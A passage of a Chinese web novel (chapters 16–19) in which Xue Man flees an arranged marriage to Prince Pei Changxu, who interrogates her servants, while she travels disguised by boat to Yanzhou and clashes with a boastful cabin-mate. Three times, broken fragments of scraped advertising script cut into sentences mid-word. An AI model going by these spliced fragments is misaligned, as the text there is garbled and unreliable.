先是三哥,如今是小宁,姑母……将来还会有谁? 她害怕,怕身边的人一一倒戈,怕长久往后,她真会摇身变为书中恶贯满盈、下场凄惨的女配。 她虽爱慕三哥,却不愿放弃自我,成为低声下气、因爱癫狂的可怜人。在各种情绪交织,思想的激烈拉扯下,她选择效仿裘三小姐的任性妄为,留下两封书信后,从原本的生活里消失匿迹。 此后,京城里不再有薛家小姐,更不会有端王妃薛满。 她的离开猝不及防,令所有人都难以置信。 “怎么可能?”裴长旭用笑容掩饰心慌,“你听错了,阿满最是乖巧听话,绝做不出逃婚那样出格的事。” 杜洋脸色凝重,从怀里取出两封信件,“皇后娘娘,殿下,这是薛小姐留下的两封信,你们不妨看过再做结论。” 薛皇后立刻道:“快呈上来!” 杜洋捧着信件奉上,裴长旭伸手欲接,被薛皇后先一步夺走。 她拆开信,一目十行地看完内容,猛然将信砸向裴长旭,“混账东西,看看你做的好事!” 信里究竟写了什么? 裴长旭捡起信件,抖平了,急不可耐地往下看。 第一封信言辞简练,大意是薛满告知明荟等家仆,她并非遭人掳拐,而是主动逃婚,与端王的婚事就此作罢。更命他们不许声张,请端王处理后续便可。 第二封信则是写给他的。 “吾兄长旭,与君相识多年,蒙君照拂,受君关爱,吾感恩之余,对君心生仰慕,情难自禁。” 这是阿满怀着少女最单纯而热烈的情感,在对他诉说爱恋。 “然则,君遇心之所向,为伊倾倒,如痴如狂。岂料变生不测,诗韵永别,君黯然神伤……” 这是他无法忘怀的过去,好在有阿满的悉心陪伴,他已逐渐走出情伤,只想牵着她的手共度余生。 “吾有幸能伴君左右,缔结婚约,圆多年夙愿。憾非吾所命,求亦无用。眼见诗韵复生,吾幡然醒悟,愿退位让贤,玉成其事……” 看到此,裴长旭眉头紧锁,眼中写满不解。诗韵已死了两年,怎么能死而复生?阿满究竟误会了什么,才会做出逃婚这等冲动之举? 薛皇后比他看得更清,面带讥讽地道:“你自以为做得隐蔽,却不料阿满比你想得机敏,她定是瞒着你去过南溪别院,还见到了江诗韵的妹妹。” 裴长旭浮现不好的预感,“母后的意思是?” “阿满不明内情,将江家妹妹认作姐姐,误以为你使了瞒天过海之计,帮那婢子假死脱身,金屋藏娇,暗地纠缠不清。别看阿满脾气好,心性却傲,她已忍让过一次,怎能容你再次移情?于是一不作二不休,干脆逃婚毁约,成全你与江诗韵这对苦命鸳鸯!” 裴长旭面白如纸,“不,阿满误会了,那人不是江诗韵,而是她的妹妹江书韵。” “是或不是又有何区别?”薛皇后眸光锐利,咄咄逼人地问:“你敢否认吗,你之所以对江家妹妹关怀备至,皆因她那张与姐姐一模二样的脸!” 裴长旭喉中一哽,随即斩钉截铁地道:“儿臣发誓,除去知恩报德,儿臣对江书韵毫无想法。” 薛皇后捶了捶发闷的胸口,恨恨地道:“本宫早就劝你与那江家人划清界限,免得日后夜长梦多,你却偏要反其道而行。如今甚好,阿满走了,婚事作罢,你想做什么都无人再管!” “母后,阿满是儿臣的妻。”裴长旭凤眸生红,咬着牙关道:“今生今世唯一的妻。” “所以呢?” “请母后帮儿臣瞒住此事,儿臣这便领人去寻回阿满。” “离婚期只剩下短短十五天,万一你赶不及——” “阿满何时回来,婚期便定在何时。”他沉声道:“儿臣非她不娶。” 薛皇后恍了恍神,三年前的某日,旭儿跪在殿中,坦言他爱上了一名婢子。当时的他亦是执而不化,坚持要娶婢子为妻,只不过那婢子出身低贱,哪比得上知根知底的阿满? 她闭了闭眼,明艳的容颜显露一丝沧桑,“为你铺好的路你不走,非要多生事端……子女本是债,本宫真是上辈子欠了你的。” 生气归生气,薛皇后终是点头,答应替他隐瞒消息,又催促他即刻去搜寻薛满。 裴长旭疾步离开皇城,快马加鞭地赶回薛府,推开大门,见一干奴仆跪倒在地,个个抖若筛糠。 他眸光一扫,语气蕴含着森森寒意,“明荟何在,云斛何在。” “奴婢在/属下在。” 被点到名的两人依次出列,云斛尚且稳得住神,明荟却是汗不敢出。 小姐突然逃婚,她作为贴身婢女难辞其咎。若她没有跟小姐说裘三小姐的事,若她早些察觉小姐的异样,若她能及时阻止小姐出走…… 画面转到花厅,明荟跪在厅中央,抹着眼泪禀明事情经过。 “前些天时,小姐说夜里梦到了老爷和夫人,要去明华寺替他们诵经烧香。于是今日辰时中,奴婢便备妥东西,跟云斛一起陪着小姐前往明华寺。小姐先在大殿念了半个时辰的佛经,后来又去听无尚大师讲课。待到午时,小姐用过斋菜,声称有些疲乏,便去常住的那间小院歇息。临睡前,小姐说想吃古月楼的山楂糕,差奴婢即刻去买,奴婢遂让云斛守着院子,只身去买山楂糕。等到奴婢买好东西返回,在院里等候许久都不见小姐醒来。奴婢生怕小姐又有不适,便试着敲了敲门,没想到门未上锁,里头空无人影。” “奴婢冲进屋,在桌上发现小姐留下的两封信,一封是给奴婢们的,一封则写着请殿下亲启。奴婢连忙喊来云斛,云斛仔细检查房间,没有找到打斗痕迹。而院子的后门栓被打开,猜测小姐应是从此处偷偷离开。” “奴婢没敢耽误,先让云斛去通知杜洋,再求助方丈搜寻整个寺庙。可是,可是小姐好似凭空消失,到处不见踪迹……” 明荟泣不成声,抬手重重扇向面颊,“都怪奴婢愚钝,没有时刻守在小姐身边,奴婢罪该万死,奴婢罪该万死!” 清脆的耳光声接连响起,裴长旭纹丝不动地站立,到明荟的脸颊高肿,他才冷冷发问:“出门前,阿满可有什么异常行为?” “回殿下,小姐今晨打发走奴婢们,自己梳妆打扮,戴了顶厚重的幕篱,并且拎着个包袱出来。奴婢好奇地问了几句,小姐说戴幕篱是怕日头晒,包袱里装着抄好的经帛,要去寺庙烧给老爷和夫人。小姐到明华寺后,全程未摘过幕篱,因往常出门也有这般情况,奴婢便没往别处想。” “平时阿满出门起码三四人随侍,今日为何只剩你和云斛?” “小姐说明华寺是佛门圣地,怕人多扰了安宁,坚持只带奴婢跟云斛去。” 听到此,裴长旭的心情五味杂陈。明荟所言,句句昭示阿满是蓄谋已久。戴幕篱是为掩饰面容乔装,包袱里定装着出行所需,选择熟悉的寺庙小院,支开下人则方便她悄悄逃走…… 他厉声质问:“你成天伺候阿满,便没发现她有离开的意图?!” 明荟慌张道:“殿下明鉴,您和小姐的婚事由圣上亲指,两府和礼部为此忙碌了大半年,谁能想到小姐竟会、竟会逃婚呢?” 说到“逃婚”二字时,她满腹懊悔,道:“奴婢若知道小姐有离开的打算,别的暂且不提,奴婢绝不会让小姐一个人走 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !哪怕是上刀山下火海,奴婢也要跟在小姐身边,照顾好她的衣食住行。” 她与云斛等人一样,皆由薛修平精心挑选,从小伺候在薛满左右。小姐逃婚,她固然怕即将到来的惩罚,却更担心小姐在外受苦。小姐那样娇滴滴的姑娘,万一遇上歹徒该怎么办? 她越想越心惊,朝裴长旭不断磕头,泪珠成串掉落,“殿下,奴婢办事不利,死不足惜,只求您赶快寻回小姐,莫让她在外头遭罪!” 哭声惹得裴长旭一阵烦躁,他挥退明荟,改传云斛进厅。 与明荟不同,云斛虽跪着,背依然挺得笔直。面对裴长旭的问话,他惜字如金地回答,紧绷的脸庞泄露少许愤慨。 裴长旭将此尽收眼底,薛家的几名护卫待他向来恭敬,而今态度大变,其中内情值得推敲。 他思索片刻,得出结论,“你去过南溪别院。” 云斛绷紧下颚,缄口不言。 裴长旭问:“阿满也去了?” “殿下是担心小姐为难南溪别院那位吗?”云斛阴阳怪气地道:“您尽可放心,小姐人美心善,做不出仗势欺人的事。要知道,当年还是小姐出手相救,江诗韵才能免受恶霸侮辱。” 裴长旭的脸色瞬间难看至极。 云斛干脆一吐为快,“殿下机智过人,竟能想出假死的把戏,替江诗韵金蝉脱壳。可怜我们小姐,还真以为殿下伤心欲绝,悉心照顾您许久。容属下问一句,您做这些事的时候,难道不觉得心虚愧疚吗?” 裴长旭缓缓眯眸,气势慑人,“你好大的胆子,敢对我的事评头论足。” 云斛梗着脖子道:“殿下纵是天潢贵胄,也无法阻止属下说心里话。您既然喜欢江诗韵,便该与她双宿双飞去,而不是吃着碗里又惦记锅里的!” 裴长旭沉声警告:“云斛,你闹够了没。” “不够,属下还要替小姐鸣不平!”云斛道:“小姐那样好,本应嫁个良婿,和和美美地过一生,而不是跟江诗韵那贱婢抢夺您的宠爱——” 话音刚落,便见裴长旭豁然上前,一脚踹向他的胸口。 他这一脚使足力气,云斛被踹飞半丈远,嘴角涌出鲜血,仍硬声道:“殿下,您,咳咳,您配不上小姐对您的一番真情。” 裴长旭从牙缝中挤出话,“南溪别院中住的是江书韵,她是江诗韵的胞妹,两人仅是样貌相像。” 云斛却会错意,“殿、殿下艳福不浅,姐姐妹妹都收入囊中。” 裴长旭简直想当场宰了这豆渣脑筋!想到他是阿满的人,又硬生生忍住杀意,朝外喊道:“来人,将云斛关入禁室!” 云斛被带走后,杜晨、杜洋一同进门。 杜洋道:“殿下,属下已按您的命令,在三个城门都安排好人手,暂未发现薛小姐的身影。” “明华寺的情况如何?” 杜晨道:“属下检查过院子,情况和明荟说的一样,薛小姐很聪明,没有留下任何线索。” 裴长旭在厅内来回踱步,吩咐道:“去召集人手,给我仔仔细细地搜,哪怕把京城翻个底朝天,我也要找出阿满。” 他心存侥幸,认为薛满并未走远,只是躲在城中某处,等待他的忏悔认错。 时间退回一个时辰前。 京城十里外的荣帆码头外,一名个头娇小,荆钗布裙,肤黄眉粗,右眼下有着半掌大黑色胎记的丑颜少女正抱紧包袱,惴惴不安地望着远处。 江面宽阔,波光粼粼。数不清的船舶栖息在岸边,头尾相接,浩浩荡荡。它们似是整装待发的士兵,高举桅杆,随风挥舞着色彩艳丽的旗帜,无声呐喊:可愿与我同去? 陆续有人从薛满身边经过,他们有男有女,或老或少,他们知晓自己要去往何处,薛满亦然。 她抛开最后一丝留恋,深吸口气后,随着人潮缓慢地往前走。 白鹿城,祖父,她这便来了! 17. 第 17 章 常言道:出师未捷身先死——啊呸,不对,是天将降大任于斯人也,必先苦其心志,劳其筋骨。换句通俗易懂的话说:要办事,绝没有你想得那么简单。 薛满此刻是深有体会。 她身处开往晏州的客船,站在甲板上,迎着温润的江风,面容显得相当惆怅。 有看官得问了:薛满不是要去杭州吗,怎会乘上去晏州的船? 话得从两个时辰前说起。薛满怀揣着包袱,兴冲冲地走上码头,找到卖票的伙计,要买一张去杭州的船票。 伙计见她其貌不扬,便爱搭不理,“没有。” 薛满疑惑,“什么叫没有?” 伙计道:“没有就是没有。” 薛满急道:“我之前来过的,你这隔两日下午便有去杭州的客船。” 伙计道:“你都说之前了,之前是有,现今就是没有。” 薛满还想再问,伙计却不耐地挥手,“快些走开,别耽误后面的人买票。” 薛满回头看了眼,的确有不少人在排队,可她还没买到去杭州的票呢! 她正进退两难,有名面善的中年汉子走近,伙计立刻笑道:“张叔,您不是休息吗,怎么来了?” 张叔道:“路过,顺便来看看。”他看了眼薛满,对伙计道:“你去旁边歇息,我来替会。” “好嘞,张叔。” 伙计一溜烟地跑远,换张叔坐到桌后。他看向焦急无措的小姑娘,好声好气地问:“小姑娘想去杭州?” 薛满用力地点头,“对,我想去杭州,但是他说,他说今日没有去杭州的船票。” 张叔解释:“他说得没错,我们这本是每两日发一船去杭州。但是不凑巧,今日该走的那艘船坏了,不知何时能修好。而下一班船是后日下午出发,你要么到时再来。” 薛满彻底呆住,她费尽心思偷跑出京城,以为能顺利登上去杭州的船,谁能想到船坏了,她还要等到后天? 这么长时间,凭三哥的能力,早派人把她找出千八百回了! “不行,我等不到后天。”薛满眼眶逐渐泛红,恳求道:“能否请你帮我想想办法,我有急事,必须得马上离开。” 她瞧着贫穷貌丑,但目光盈盈,轻言细语,使人不自禁地生出好感。 “小姑娘别急。”张叔心一软,道:“你非要去杭州吗?除去杭州,我这倒是有不少去往别处的票。” 薛满喃声重复:“去别处?” “是。”张叔翻着本子,道:“有去长安的,有去开封的,还有去晏州的,今日都能开船。” 慌乱之中,薛满突然冒出个念头,“哪班船最早出发?” “我看看啊,去晏州的船一刻钟后就能出发,其他得等到傍晚。” 身后的人开始嚷嚷:“到底买不买?不买就让开。” “是啊,我们还等着买票呢,赶紧的,别耽误大家伙的功夫。” “买,我买。”薛满经不起催促,脱口而出道:“大叔,给我一张去晏州的船票!” 如此这般,她阴差阳错地登上去往晏州的客船。她初时想得甚美:先上船离开京城,再去中途停驻的地方,调头转去杭州。可她打听一圈,得到的答案是:若想调头坐船再去杭州,无一例外,都得经过京城。 ……那岂非自投罗网? 薛满不死心地继续打听:有不经过京城的路线吗? 答案是有,先到晏州,再从晏州乘船直接到杭州。 ……说起来,晏州在京城西南边,杭州在京城东南边,三地间的距离相当。虽然绕了一大圈,但先到晏州再转至杭州,也不是行不通。 薛满安慰自己:至少三哥绝想不到,她会去八竿子都打不着的晏州。 随即她又愁眉苦脸:别说三哥,便连她自己也想不到好吗!晏州,那到底是个什么样的地方? 她努力回忆关于此地的印象,大概是:山水环绕,风光旖旎,锦绣灵城。 总而言之,晏州是个好地方。 要么,便当顺路游山玩水? 薛满默默地想:没错,便当顺路游山玩水,增长阅历吧……横竖也没更好的办法。 今日恰好是小满气节,骤雨初歇,碧空如洗。 薛满侧首,遥望京城的方向,心内不由愁思万千。不知大家得知她离开后,都是什么样的反应?三哥是心急火燎,抑或如释重负?小宁可会担忧,姑母可会斥责她幼稚莽撞,不顾后果? 明明从前他们那样要好,却无法维持一生一世。 想着想着,她眼中蓄满眼泪,赶紧用袖子压了压眼角,省得打湿脸上的伪装。 为了逃婚,她称得上是殚精竭虑。先是避开身边的几名婢女,吩咐外院的小丫头采购粗衣布鞋,后又刻意“调朱弄粉”,尝试将自己捣鼓得貌若无盐。她谋划好逃离的每个细节,在脑中演练无数遍,终于在今日成功实施,跨出新生活的第一步。 无论好坏,她都得义无反顾地往前走。 “叮,叮,叮——” 铃声清脆响亮,提醒着整船乘客,已到用晚膳的时间。 薛满买了张四等船票,住的是六人间,用膳需要去船上的小食堂。说是食堂,其实是间狭小封闭的船舱,摆放着几张长桌长椅。空气中充斥着闷腥和浓重的饭菜味,大伙不分男女,有说有笑地坐在一起用膳。 薛满着实不习惯这样的场面,碍于肚饿,她快速领好饭菜,拨开人堆,跑到外头找了个安静角落。她在地上铺开一块方巾,左撩袖口,右提裙摆,终于别扭地跪坐下来。 打开简陋的食盒,只见里面铺着薄薄一层米饭,上头盖着几样色泽发黑,叫不出名的炒菜,闻起来并不美妙。 她犹豫片刻,用筷子夹起一小撮菜,鼓起勇气尝了口。刚品出味道,便忙不迭地吐出饭菜,小脸紧紧皱作一团。 这真是她此生吃过最难以下咽的东西! 她以袖掩唇,下意识地喊:“明荟,给我端杯水——” 喊到一半却顿住,委屈地咬住下唇,差点又掉出泪来。 她已经离开京城,以后得学会自力更生,不再依靠他人。 “没关系,我肯定可以。”她吸了吸鼻子,小声给自己打气,正打算离开时,眼前忽然出现一只水囊。 她抬头,见一名衣着朴素,样貌秀美,两鬓却霜白的中年女子弯腰站立,目光和蔼地道:“喝吧。” 薛满认得她,她正住自己的上铺,名叫佟蓉,似乎也是独自出门。 她客气地拒绝:“不用了,多谢你的好意。” 佟蓉没有勉强,直接坐到她身旁,“这船上的厨子手艺甚烂,许多人都吃不习惯。” “的确。”薛满推开食盒,道:“我从未吃过这样难吃的菜。” 佟蓉打开水囊喝了口水,闲聊问道:“你是第一次出远门?” 薛满从前在话本子里读到过,外头有许多看起来不像恶人的恶人,专门找那种落单的小姑娘下手,轻则骗取钱财,重则卖入青楼。她顿时心生警惕,故意道:“不是,我父亲和兄长皆是商人,经常带我出远门,什么扬州、杭州、长安,我都去过。” 佟蓉笑道:“果然是人不可貌相,你年纪小小,倒是经多见广。” 薛满干巴巴地笑了声:“呵呵,谁说不是呢。” 佟蓉从袖中掏出个油纸包,打开一瞧,是冒着热气的白面包子,闻着还有肉味嘞! 薛满盯着包子,情不自禁地咽了咽口水。 “我也吃不惯船上伙食,有时会跟后厨借地方,自己动手做包子吃。”佟蓉伸手往前送了送,“你要来点吗?” “不用,谢谢。”薛满抗住诱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惑,再次摇头拒绝,“你慢慢吃,我先回屋休息了。” 她拍拍衣裳起身,往前没走两步,便听后边传来一声重响。回过头看,竟是佟蓉栽倒在地,肉包子骨碌碌地散落四周。 “佟大婶!”薛满顾不得其他,连忙扶她坐好,“你怎么了?是哪里不适吗?” 佟蓉呼吸急促,神色痛苦,哆嗦着抬起手,指指脑袋又拍拍腰间。 “头疼?腰间也疼?”薛满胡乱一通猜,道:“你等着,我马上去找船医!” “慢……慢着……”佟蓉虚弱地道:“我腰间荷包……荷包中有药……” 薛满摘下荷包,取出一枚小瓷瓶,倒出一二三四五……呃,怕不够,她又倒了三颗,凑足八颗黑色小药丸,全部喂进她口里。跟着又灌水,拍背顺气,半刻钟后,佟蓉脸色好转,呼吸恢复正常。 太好了! 薛满拭去满头汗水,本以为会得到感激,却见她苦笑着道:“小姑娘,那药丸珍贵至极,吃一颗便有奇效。” 薛满傻眼:什么意思,佟大婶是怪她浪费了药? 换作从前,她定二话不说地赔给对方,毕竟太医院里什么都有。但如今的她除去带出来的三千两银票,可没有其他值钱的东西了。 三千两银票诶!她的全身家当,才不会轻易给人呢! 她往后退了两步,略带敌意地问:“你想怎么样?” 佟蓉一愣,反问:“你说呢?” “我很穷,非常穷。”薛满严肃地编:“我父兄做生意失败,到处欠债,家徒四壁,全家人都凑不齐十个铜板。” “或许你能想想其他办法。” 呵,薛满逃婚前便预料到世道险恶,早已准备好应对方法。 “你是指卖身还债?”她挺着胸膛,甚至带点骄傲地道:“我父兄也是这么想的,他们将我卖了三次,次次被退回家。原因无他,我长得太丑陋,每每都会吓到旁人。” “……”佟蓉撇过头,肩膀轻轻耸动。 薛满道:“反正要银子我没有,要人我人丑,你自认倒霉吧。” 闻言,佟蓉再憋不住,笑得前俯后仰。 “巧燕姑娘,我是逗你的。”她摸着脸颊,问道:“我长得很像坏人吗?” “杨巧燕”正是薛满对外编的新名字,她道:“是你方才说的,人不可貌相。” “对。”佟蓉赞赏道:“出门在外,谨慎点总没错。” 她认真向薛满道谢,薛满看出她诚心诚意,却不敢放松警惕,草草聊了几句便借故离开。 一缕江风起,与薛满擦肩而过,拂动佟蓉霜白的鬓发,又穿越茫茫江面,奔向千里之外的晏州。 恰在此时,一辆灰色马车停在晏州城外。赶车的是名年约十二、三的清秀少年。他抖了抖缰绳,扭头道:“公子,咱们到晏州了。” 车帘被人由内掀开,一名玄衣青年跳下马车。他体态修挺,面如冠玉,眼泛桃花,气度优游不迫,端是风流贵公子的派头。可仔细看时,又能从淡褐的眸中捕捉到淡淡厌色。 路人们惊艳于他的非凡容貌,纷纷驻足围观,无数道炙热的视线涌向玄衣青年。 玄衣青年对此习以为常,倒是俊生浑身不自在,“看什么看,没见过俊俏公子吗?” 有人道:“见过俊的,没见过这么俊的嘞!” 那是,他家公子必须是天下第一俊! 俊生与有荣焉,随即又想起本职来,故作冷脸地驱赶,“再俊也不是你家的,该干吗干吗去!” 话说到这份上,路人们依旧不肯散开。俊生一脸苦恼,对主子道:“公子,我早说了,您出门该扮丑点,否则一条路得多走半个时辰。” 玄衣青年置若罔闻,顾自望向城门,眸光明灭不定。 晏州,不知有什么样的惊喜在等着他? 18. 第 18 章 时光稍纵即逝,这已是薛满上船的第三个日头。 这期间,她住在拥挤的六人房,吃着油腻的饭菜,每日食不下咽,睡难安稳,曾一度萌生退意。 有荣华富贵不享,她偏要跑到外头遭罪,真是何苦来哉! 可一想到裴长旭与江诗韵的种种纠缠,她摇摆的心便立刻变得坚定:吃苦算什么?总比成为他们伟大爱情的牺牲品要好。她薛满留得青山在,今后不怕没柴烧。 她端正思想,努力适应新生活,实在熬不住时便翻出话本,靠书中的故事聊以慰藉。 咳咳,没错,身为资深话本迷,薛满连逃婚都没忘记带上话本。但她已被《旧雨重逢》伤得厉害,不再沉迷情情爱爱,转而投入其他类型的话本。 比如她正在看的这本《婢女奋进录》,通篇没谈情爱,只专注于女主人公的奋斗大业。 怎么个奋斗法呢?请搬好小板凳,听薛满为你细细道来。 女主人公名为曹小果,她出生在一个贫农之家,上有三个姐姐,下有两个弟弟。父母年迈体弱,无力抚养诸多孩子,于是乎,带四个女儿上市集发卖。小果的三个姐姐相貌端正,嘴巴灵巧,很快被人相中买走。而小果长得普通,还不爱吭声,在市集待了半月都无人问津。 终于有一天,来了个胖胖的大娘,用三十文钱买下小果,带她去镇上最有钱的富户家当婢女。说起来,富户虽十分有钱,但小果被分派到了最凋零的三房。三房的老爷夫人早早过世,只剩个年幼的瘸腿小少爷,不招家主待见,扔在偏院里自生自灭。 小少爷不仅腿瘸,还愤世嫉俗,一有不如意便对下人们打骂。在小果到来之前,他已经赶跑了全院奴仆,没人愿意留在他身边伺候。 面对性烈如火的新主子,小果很害怕,但她别无选择,毕竟待在这她至少能填饱肚子。 她埋头干活,尽心照顾小少爷,努力想当个好婢女,可惜小少爷不领情。 他用同样的办法对待小果,希望能打骂走她。岂料小果非同一般,小少爷打她,她便身手矫健地躲开。小少爷骂她,她便装聋作哑,置之不理。 小少爷气得七窍生烟,愈发苛刻地刁难她。小果不哭不闹,直接找来一根麻绳上吊,吓得小少爷当场闭嘴,不敢再提此事。 在往后的相处中,小少爷发现小果纯粹真诚,还有一身使不尽的蛮力;小果则察觉小少爷是刀子嘴豆腐心,且暴躁的性格后,隐藏着不为人知的辛酸身世。 咦咯,没爹没妈又瘸腿,还经常被外院的少爷小姐们欺负嘲笑,甚至连下人都不将他放在眼里,脾气能好才怪嘞! 小果越了解小少爷,便越是替他打抱不平,碍于身份,只能把愤怒埋在心底。直到某天,小少爷被人推进荷塘,差点一命呜呼,小果奋不顾身地下水营救,跟着又趁众人疏忽,从主谋腿上咬下一块肉来,成功帮小少爷报了仇! 后来,小果虽被狠狠责罚,但靠此一战成名,没人敢再轻易欺侮他们。 春去秋来,他们渐渐长大。小少爷有了意中人,却被坏堂兄横刀夺爱。与此同时,他无意中得知父母去世的真相:他们竟是因利益纠纷,死于现任家主之手! 小少爷遭受双重打击,变得疯疯癫癫,竟当众对家主行刺。失败后,被打得半死丢到乱葬岗。幸有小果不离不弃,将他从死人堆里挖了出来,并发誓要帮他重整旗鼓! ——至于怎么个重整旗鼓法,薛满还没看完呢。 天色渐暗,万物敛去颜色,薛满将话本塞进袖中,慢吞吞地回到客舱。 一推开门,却见三人挤坐在她的床畔,正聊得热火朝天。 左边的紫衫少女道:“靳小姐,你今日穿的衣裳真好看,肯定不便宜吧?” 中间的靳小姐道:“你还算有眼光,这叫织锦缎,是京城最时兴的料子,一尺便要十两白银,抵得上普通人家整年的开支。” 右边的少妇道:“难怪它摸着特别的光滑柔软,对了,你的珍珠项链也好精致,是从哪里买的?” “外头可买不到。”靳小姐道:“这是我姨母从晏州给我寄来的,用的是南海珍珠,百蚌才开得出一粒这样浑圆的珠子,整串下来能买一间三进三出的大宅子。” 少女道:“哇,你姨母对你可真好。” 靳小姐道:“我姨母膝下无所出,只我一个外甥女,此番写信叫我去晏州,便是打算收我做嗣女,以后替她养老送终。省得那偌大的家产,都叫庶出的子女们占了。” 少妇问:“如此说来,你姨父家在晏州很有权势?” 靳小姐道:“我姨父乃晏州州同。” 话音刚落,屋内一片艳羡之声。 “你姨父竟是晏州州同?那可是晏州第二大的官!我听人说过,晏州是直隶州,所有的官都比属州要大一阶,那你姨父便是正五品大官??” 靳小姐笑着点头,“正是。” “我就说,靳小姐气质不俗,谈吐优雅,绝非寻常人家养出来的姑娘。” “嫂嫂说得对,靳小姐一看便是有福之人,今后嫁的夫家定非富即贵。” 靳小姐的唇角扬得很高,“我姨母已替我相看好夫婿,正是那晏州知州的侄子,去年刚中了举人,将来必大有可为。” 闻言,紫衫少女与少妇愈发殷勤,将她夸得天上少有、地下全无。 薛满站在门口好半天,见她们没有停止的迹象,只得清了清嗓,“咳咳,咳咳咳。” 三人用余光扫了她一眼,仿若无事般继续聊天。她们几人比薛满更早上船,本就相熟些,又因嫌弃薛满的长相,便明里暗里地一起排挤她。薛满也乐得清静自在,从没主动跟她们搭过话。 ……这会却是非搭话不可了。 薛满好声提醒:“诸位,天色不早,该休息了。” 紫衫少女横了她一眼,没好气地道:“你休息你的,管我们那么多做什么。” 薛满道:“你们坐的是我的床铺。” 紫衫少女理不直,气倒挺壮,“那又怎样?靳小姐肯坐你的床是给你面子,你应当感激才是。” 薛满觉得稀奇,“我为何要感激?” 少妇接话,“靳小姐的姨父是晏州州同,马上要收她为嗣女,再不久后,靳小姐便是正经的官家贵女了。” 她们自以为解释得够清楚,岂料薛满眨眨眼,道:“我要休息了,请你们离开我的床。” “你!”紫衫少女口不择言,“原以为你只是丑得吓人,没想到脑子也笨得离谱,真是孺子不可教也。” 少妇应和:“像我们这样的人,能有机会跟靳小姐共处一室,已是几世修来的福分,该好好珍惜才是。” 薛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 满看向正主靳小姐,她打扮得招摇艳丽,神色洋洋得意,显然十分享受旁人的恭维吹捧。薛满本无意追究她所言的真伪,但她带人霸占自己的床,还不准备归还,这便不能忍了。 于是她装作懵懂地问:“靳小姐,你姨父既是五品大的官,怎会只给你买四等船票?” “……” “哦,我知道了,定是你行程匆忙,来不及买特等、一等、二等、三等船票。” “……” “靳小姐,你的袖口处有两根线头。” “……” “没事,我包袱里有剪子,待会借你用用。” “……” “靳小姐,你的珍珠项链似乎有裂——” “够了!”靳小姐打断她的话,端着架子道:“巧燕,你是叫巧燕,对吧?” 薛满道:“是,我叫杨巧燕。” 靳小姐理着袖摆,顺势将有线头的一侧压好,道:“是这样的,靠窗的床铺太潮湿,我睡着不舒服,想同你换个位置。” 四等船舱共有四张双层床,撇去一张坏的,薛满与佟蓉一张床,紫衫少女和少妇一张床,靳小姐则跟她的奶娘一张床。 其中只有薛满的床铺靠里,另外两张紧贴窗户,夜里会有江风穿过缝隙不断灌入。 薛满道:“你睡着不舒服,那我睡着亦然。” 靳小姐笑容微僵,改问:“巧燕,你也是在晏州下吗?” 薛满道:“是。” 靳小姐一脸施舍的态度,“你若是肯换床铺,等到晏州,我便邀你去我姨父家做客。” 薛满道:“我不换。” 靳小姐差点维持不住笑脸,“你先别急着回答,再考虑考虑。” 薛满走近她们,做出困顿的模样,“麻烦你们让让,我要休息了。” 紫衫少女讪讪起身,“可惜我不睡里头,否则一定跟靳小姐换。” 少妇也跟着离开,靳小姐无法,磨磨蹭蹭地回到自己的床铺。 薛满看着满床褶皱,强压下心底不适,重新铺好床单后躺下休息。 趁她闭目时,靳小姐面色一沉,眸光愤愤地瞪着她。丑丫头真是不识相,她必须给她点颜色瞧瞧,捡回方才丢掉的脸面! 没一会,靳小姐的奶娘端着盆水进来,“小姐,我打了盆热水,伺候您泡会脚。” 有了。 靳小姐招手,对奶娘耳语几句,奶娘会意地点头。待靳小姐泡过脚后,她端着脏水往外走,在路过薛满的床铺时,故意脚下一崴,将整盆水都泼向薛满! 幸亏薛满躲得及时,身上尚好,只床铺湿了一大半。她连忙跳下床,抓起长巾擦拭,身后突兀地传来一声笑,是靳小姐道:“哎呀,巧燕,看来你今晚同我一样,也没法安睡了呢。” 薛满身形一顿,意识到是靳小姐在故意整她。可她做错了什么?这是她的床铺,她想换便换,不想换便不换。 她想起江诗韵,她好心救了江诗韵,可江诗韵恩将仇报,抢走她的意中人。 她想起三哥,她与他青梅竹马十几年,可他为了个婢女,逼得她远走他乡。 她到底做错了什么,他们一个个地都要欺负她? 一股沸腾的怒意直冲脑门,薛满啪地摔开长巾,回身盯住靳小姐,一字一顿地道:“你给我道歉。” 19. 第 19 章 薛满站在那里,依旧其貌不扬,却散发着一股惊人的压迫感,使靳小姐险些喘不过气来。 这这这,这是怎么回事? 靳小姐捂着狂跳的心口,连忙朝奶娘使眼色。 “哎哟喂。”奶娘颤颤巍巍地跪倒,“杨小姐,对不住了,是我年纪大不中用,端盆水都能崴到脚,不小心打湿了您的床铺,求您行行好,原谅我这一回吧!” 听,老家伙多会装可怜。 薛满道:“你倒是个忠仆,即便你的主子满口谎话,仍对她百般维护。” 靳小姐像被踩住了尾巴,尖声反驳道:“谁说谎话了?我说的都是实话!” “是吗?”薛满不留情面地拆穿她:“你身上穿的的确是织锦缎,可仔细瞧便能发现,它花样多有残缺,针法凌乱稀疏,显然是用他人裁衣剩余的布料,粗制滥造而成。” “你说你的项链是南珠,南珠大多数产自合浦郡,备受皇家喜爱,历代皆被列为贡品。既是贡品,工匠便会在制作每一件首饰时,留下遇水则现的隐秘印记。靳小姐,你敢不敢将它放到水中,让大伙看看印记?” “你,你,你——”靳小姐脸庞涨红,以袖遮掩项链,结结巴巴地道:“我凭什么给你看,你以为你是谁!” “行不更名,坐不改姓,”薛满道:“我是杨巧燕。” 她是这意思吗她?! 靳小姐的讽刺扑了个空,直接恼羞成怒,“你给我等着,等到了晏州,我定要让姨父治你个污蔑他人之罪!” 哦,看来这点没撒谎,她姨父真是晏州州同。 薛满不见惧色,问:“靳小姐,你知道大周拢共有多少名五品官员吗?” 靳小姐一脸茫然。 “我来告诉你。”薛满道:“大周设一京十省,十省下设一百零八府,府后再设千余州县,其中文武官不计其数。而像你姨父这般的五品官,全朝约有六千余人,又何足道哉?” 就这?! 靳小姐骄傲地道:“大官是官,小官亦是官,我姨父乃一州佐官,怎么也比你这个庶民要强千倍万倍。” 薛满道:“那便更有意思了。” 躲在床上的姑嫂俩侧耳偷听:哪里有意思? 